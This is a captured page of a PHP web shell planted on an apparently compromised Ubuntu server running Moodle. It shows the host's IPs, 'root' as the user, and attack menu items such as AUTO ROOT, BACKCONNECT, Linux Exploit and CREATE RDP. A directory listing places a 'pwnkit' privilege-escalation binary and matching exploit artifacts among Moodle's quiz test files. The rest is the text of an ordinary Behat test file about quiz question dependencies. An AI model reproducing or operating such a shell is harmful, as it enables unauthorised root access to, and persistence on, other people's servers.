Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
quiz /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
add_quiz.feature
2.64
KB
-rwxrwxrwx
attempt_basic.feature
7.83
KB
-rwxrwxrwx
attempt_begin.feature
5.51
KB
-rwxrwxrwx
attempt_redo_questions.feature
6.72
KB
-rwxrwxrwx
attempt_require_previous.featu...
11.43
KB
-rwxrwxrwx
attempt_sequential.feature
4.53
KB
-rwxrwxrwx
backup.feature
3.16
KB
-rwxrwxrwx
behat_mod_quiz.php
46.02
KB
-rwxrwxrwx
completion_condition_attempts_...
2.75
KB
-rwxrwxrwx
completion_condition_passing_g...
2.42
KB
-rwxrwxrwx
editing_add.feature
11.13
KB
-rwxrwxrwx
editing_add_from_question_bank...
5.88
KB
-rwxrwxrwx
editing_add_random.feature
2.76
KB
-rwxrwxrwx
editing_edit_random.feature
2.84
KB
-rwxrwxrwx
editing_move_by_click.feature
4.86
KB
-rwxrwxrwx
editing_remove_multiple_questi...
10.09
KB
-rwxrwxrwx
editing_remove_question.featur...
4.38
KB
-rwxrwxrwx
editing_repaginate.feature
6.6
KB
-rwxrwxrwx
editing_require_previous.featu...
13.23
KB
-rwxrwxrwx
editing_section_headings.featu...
18.68
KB
-rwxrwxrwx
editing_set_marks_no_attempts....
3.43
KB
-rwxrwxrwx
editing_set_marks_with_attempt...
3.59
KB
-rwxrwxrwx
manually_mark_question.feature
4.5
KB
-rwxrwxrwx
preview.feature
1.73
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
quiz_group_override.feature
4.65
KB
-rwxrwxrwx
quiz_no_calendar_capabilities....
1.77
KB
-rwxrwxrwx
quiz_reset.feature
3.14
KB
-rwxrwxrwx
quiz_user_override.feature
5.31
KB
-rwxrwxrwx
reattempt_quiz.feature
2.49
KB
-rwxrwxrwx
settings_form_fields_disableif...
5.55
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : attempt_require_previous.feature
@mod @mod_quiz Feature: Attempt a quiz where some questions require that the previous question has been answered. In order to complete a quiz where questions require previous ones to be complete As a student I need later questions to appear once earlier ones have been answered. Background: Given the following "users" exist: | username | firstname | lastname | email | | student | Student | One | student@example.com | | teacher | Teacher | One | teacher@example.com | And the following "courses" exist: | fullname | shortname | category | | Course 1 | C1 | 0 | And the following "course enrolments" exist: | user | course | role | | student | C1 | student | | teacher | C1 | teacher | And the following "question categories" exist: | contextlevel | reference | name | | Course | C1 | Test questions | @javascript Scenario: A question that requires the previous one is initally blocked Given the following "questions" exist: | questioncategory | qtype | name | questiontext | | Test questions | truefalse | TF1 | First question | | Test questions | truefalse | TF2 | Second question | And the following "activities" exist: | activity | name | intro | course | idnumber | preferredbehaviour | | quiz | Quiz 1 | Quiz 1 description | C1 | quiz1 | immediatefeedback | And quiz "Quiz 1" contains the following questions: | question | page | requireprevious | | TF1 | 1 | 0 | | TF2 | 1 | 1 | When I am on the "Quiz 1" "mod_quiz > View" page logged in as "student" And I press "Attempt quiz now" Then I should see "First question" And I should see "This question cannot be attempted until the previous question has been completed." And I should not see "Second question" And I log out And I am on the "Quiz 1 > student > Attempt 1" "mod_quiz > Attempt review" page logged in as "teacher" And I should see "First question" And I should see "This question cannot be attempted until the previous question has been completed." And I should not see "Second question" And "Question 1" "link" should exist And "Question 2" "link" should not exist @javascript Scenario: A question requires the previous one becomes available when the first one is answered Given the following "questions" exist: | questioncategory | qtype | name | questiontext | | Test questions | truefalse | TF1 | First question | | Test questions | truefalse | TF2 | Second question | And the following "activities" exist: | activity | name | intro | course | idnumber | preferredbehaviour | | quiz | Quiz 1 | Quiz 1 description | C1 | quiz1 | immediatefeedback | And quiz "Quiz 1" contains the following questions: | question | page | requireprevious | | TF1 | 1 | 0 | | TF2 | 1 | 1 | When I am on the "Quiz 1" "mod_quiz > View" page logged in as "student" And I press "Attempt quiz now" And I click on "True" "radio" in the "First question" "question" And I press "Check" Then I should see "First question" And I should not see "This question cannot be attempted until the previous question has been completed." And I should see "Second question" And "Question 1" "link" should exist And "Question 2" "link" should exist @javascript Scenario: After quiz submitted, all questions show on the review page Given the following "questions" exist: | questioncategory | qtype | name | questiontext | | Test questions | truefalse | TF1 | First question | | Test questions | truefalse | TF2 | Second question | And the following "activities" exist: | activity | name | intro | course | idnumber | preferredbehaviour | | quiz | Quiz 1 | Quiz 1 description | C1 | quiz1 | immediatefeedback | And quiz "Quiz 1" contains the following questions: | question | page | requireprevious | | TF1 | 1 | 0 | | TF2 | 1 | 1 | When I am on the "Quiz 1" "mod_quiz > View" page logged in as "student" And I press "Attempt quiz now" And I press "Finish attempt ..." And I press "Submit all and finish" And I click on "Submit all and finish" "button" in the "Confirmation" "dialogue" Then the state of "First question" question is shown as "Not answered" And the state of "Second question" question is shown as "Not answered" @javascript Scenario: A questions cannot be blocked in a deferred feedback quiz (despite what is set in the DB). Given the following "questions" exist: | questioncategory | qtype | name | questiontext | | Test questions | truefalse | TF1 | First question | | Test questions | truefalse | TF2 | Second question | And the following "activities" exist: | activity | name | intro | course | idnumber | preferredbehaviour | | quiz | Quiz 1 | Quiz 1 description | C1 | quiz1 | deferredfeedback | And quiz "Quiz 1" contains the following questions: | question | page | requireprevious | | TF1 | 1 | 0 | | TF2 | 1 | 1 | When I am on the "Quiz 1" "mod_quiz > View" page logged in as "student" And I press "Attempt quiz now" Then I should see "First question" And I should see "Second question" And I should not see "This question cannot be attempted until the previous question has been completed." @javascript Scenario: Questions cannot be blocked in a shuffled section (despite what is set in the DB). Given the following "questions" exist: | questioncategory | qtype | name | questiontext | | Test questions | truefalse | TF1 | First question | | Test questions | truefalse | TF2 | Second question | And the following "activities" exist: | activity | name | intro | course | idnumber | preferredbehaviour | questionsperpage | | quiz | Quiz 1 | Quiz 1 description | C1 | quiz1 | immediatefeedback | 2 | And quiz "Quiz 1" contains the following questions: | question | page | requireprevious | | TF1 | 1 | 1 | | TF2 | 2 | 1 | And quiz "Quiz 1" contains the following sections: | heading | firstslot | shuffle | | Section 1 | 1 | 1 | When I am on the "Quiz 1" "mod_quiz > View" page logged in as "student" And I press "Attempt quiz now" Then I should see "First question" And I should see "Second question" And I should not see "This question cannot be attempted until the previous question has been completed." @javascript Scenario: Question dependency cannot apply to the first questions in section when the previous section is shuffled Given the following "questions" exist: | questioncategory | qtype | name | questiontext | | Test questions | truefalse | TF1 | First question | | Test questions | truefalse | TF2 | Second question | And the following "activities" exist: | activity | name | intro | course | idnumber | preferredbehaviour | questionsperpage | | quiz | Quiz 1 | Quiz 1 description | C1 | quiz1 | immediatefeedback | 2 | And quiz "Quiz 1" contains the following questions: | question | page | requireprevious | | TF1 | 1 | 1 | | TF2 | 2 | 1 | And quiz "Quiz 1" contains the following sections: | heading | firstslot | shuffle | | Section 1 | 1 | 1 | | Section 2 | 2 | 0 | When I am on the "Quiz 1" "mod_quiz > View" page logged in as "student" And I press "Attempt quiz now" And I press "Next page" Then I should see "Second question" And I should not see "This question cannot be attempted until the previous question has been completed." @javascript Scenario: A questions cannot be blocked in sequential quiz (despite what is set in the DB). Given the following "questions" exist: | questioncategory | qtype | name | questiontext | | Test questions | truefalse | TF1 | First question | | Test questions | truefalse | TF2 | Second question | And the following "activities" exist: | activity | name | intro | course | idnumber | preferredbehaviour | navmethod | | quiz | Quiz 1 | Quiz 1 description | C1 | quiz1 | immediatefeedback | sequential | And quiz "Quiz 1" contains the following questions: | question | page | requireprevious | | TF1 | 1 | 1 | | TF2 | 1 | 1 | When I am on the "Quiz 1" "mod_quiz > View" page logged in as "student" And I press "Attempt quiz now" Then I should see "First question" And I should see "Second question" And I should not see "This question cannot be attempted until the previous question has been completed." @javascript Scenario: A questions not blocked if the previous one cannot finish, e.g. essay (despite what is set in the DB). Given the following "questions" exist: | questioncategory | qtype | name | questiontext | | Test questions | essay | Story | First question | | Test questions | truefalse | TF2 | Second question | And the following "activities" exist: | activity | name | intro | course | idnumber | preferredbehaviour | | quiz | Quiz 1 | Quiz 1 description | C1 | quiz1 | immediatefeedback | And quiz "Quiz 1" contains the following questions: | question | page | requireprevious | | Story | 1 | 0 | | TF2 | 1 | 1 | When I am on the "Quiz 1" "mod_quiz > View" page logged in as "student" And I press "Attempt quiz now" Then I should see "First question" And I should see "Second question" And I should not see "This question cannot be attempted until the previous question has been completed." @javascript Scenario: A questions not blocked if the previous one cannot finish, e.g. description (despite what is set in the DB). Given the following "questions" exist: | questioncategory | qtype | name | questiontext | | Test questions | description | Info | Read me | | Test questions | truefalse | TF1 | First question | And the following "activities" exist: | activity | name | intro | course | idnumber | preferredbehaviour | | quiz | Quiz 1 | Quiz 1 description | C1 | quiz1 | immediatefeedback | And quiz "Quiz 1" contains the following questions: | question | page | requireprevious | | Info | 1 | 0 | | TF1 | 1 | 1 | When I am on the "Quiz 1" "mod_quiz > View" page logged in as "student" And I press "Attempt quiz now" Then I should see "Read me" And I should see "First question" And I should not see "This question cannot be attempted until the previous question has been completed."
Close